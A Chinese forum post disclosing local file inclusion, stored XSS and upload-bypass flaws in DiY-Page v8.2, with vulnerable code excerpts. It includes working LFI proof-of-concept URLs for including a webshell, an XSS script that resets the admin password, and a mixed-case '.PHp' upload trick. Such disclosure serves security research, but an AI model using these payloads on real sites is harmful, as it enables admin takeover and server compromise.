前面有人研究过DiY-Page sqlInj漏洞分析的帖子,我也跟着读了读代码,发现Diy-Page v8.2程序还存在多处漏洞,包括本地文件包含漏洞,上传漏洞,跨站漏洞,etc..
A、本地文件包含漏洞
| | $incfile=PATH_PRE.'mod/'.$_GET['mod'].'/js/'.$_GET['name'].'.php'; |
| | if(!include$incfile) dperror($l_error['cant_include'],$incfile,true); |
这个漏洞比较明显,如果GPC为off,本来可以通过上传附件包含之,但程序在关闭GPC的时候又使用了addslashes函数过滤。
我们还可以通过若干长文件名截断,或旁注上传一个webshell到/tmp文件夹下包含。
POC:
http://127.0.0.1/diypage/js.php?mod=dpuser&name=../../../up/201102/20110213_dd7ec931179c4dcb6a8ffb8b8786d20b_17872a.txt.file/////////////////
http://127.0.0.1/diypage/js.php?mod=dpuser&name=../../../../tmp/shell
B、xss跨站漏洞
跨站比较多,完全没过滤,类似的代码有:
| | if($_POST['issubmit']==true) { |
| | $fidarray=trim($_POST['fidarray'],','); |
| | $backurl='javascript:history.go(-1);'; |
| | $actionurlold=$actionurl; |
| | $actionurl.='&do=list&cataid='.$_GET['cataid']; |
| | $entrytitle=$_POST['entrytitle']; |
| | $entrycontent=$_POST['entrycontent']; |
| | $entrytag=trim($_POST['entrytag']); |
可在发布条目的标题处写js,这个XSS跨首页也跨后台。
既然有了XSS,能做的事情就很多,譬如劫持用户、偷取COOKIE、提高权限、写shell等,下面是重置管理员密码的js:
| | if(window.XMLHttpRequest){ |
| | xmlhttp=newXMLHttpRequest(); |
| | }elseif(window.ActiveXObject){ |
| | xmlhttp=newActiveXObject("Msxml2.XMLHTTP"); |
| | if(!xmlhttp){xmlhttp=newActiveXObject("Microsoft.XMLHTTP");} |
| | varaction="/diypage/admin.php?mod=modcp&formod=dpuser&item=useradm&do=edit&uid=1&page=1&perpage=20"; |
| | vardata="gid=2&oldgid=2&dpusername=admin&dpusernewpassword=cnryan&usertpl=®ip=&loginip=&dpuseremail=&dpusermoney=0&dpuserintro=&avatar=default.gif&nickname=&issubmit=true"; |
| | xmlhttp.open("POST", action, false); |
| | xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); |
C、上传漏洞
DiY-Page处理上传附件的get_upload_filename函数有破绽,代码如下:
| | functionget_upload_filename($realname) { |
| | $exttmp=explode(".",$realname); |
| | $ext=$exttmp[count($exttmp)-1]; |
| | $ext=str_replace(array('asp','asa',';',"'",'php'),'',$ext); //过滤可执行文件 |
| | $filepath=get_upload_path().'/'; |
| | $filesubdir=date('Ym').'/'; |
| | mkdir($filepath.$filesubdir,0777); |
| | $datetmp=explode(" ",microtime()); |
| | $filesuffix=substr(md5($datetmp[1]),0,6); |
| | if(!in_array(strtolower($ext),array('jpg','gif','png','bmp'))) $ext.='.file'; //后缀加上.file |
| | $filename=$filesubdir.date('Ymd').'_'.md5($realname).'_'.$filesuffix.'.'.$ext; |
| | returnarray('filename'=>$filename,'filepath'=>$filepath); |
get_upload_filename()把附件名含有asp、asa、php后缀的替换为空,str_replace可以利用大写绕过。另外上传的附件如果不是 'jpg','gif','png','bmp'后缀的会自动以 .file作为 后缀,这个同样可以透过apache文件名解析缺陷漏洞利用。
注册会员->发布条目->上传 *.PHp 即可。
作者:cnryan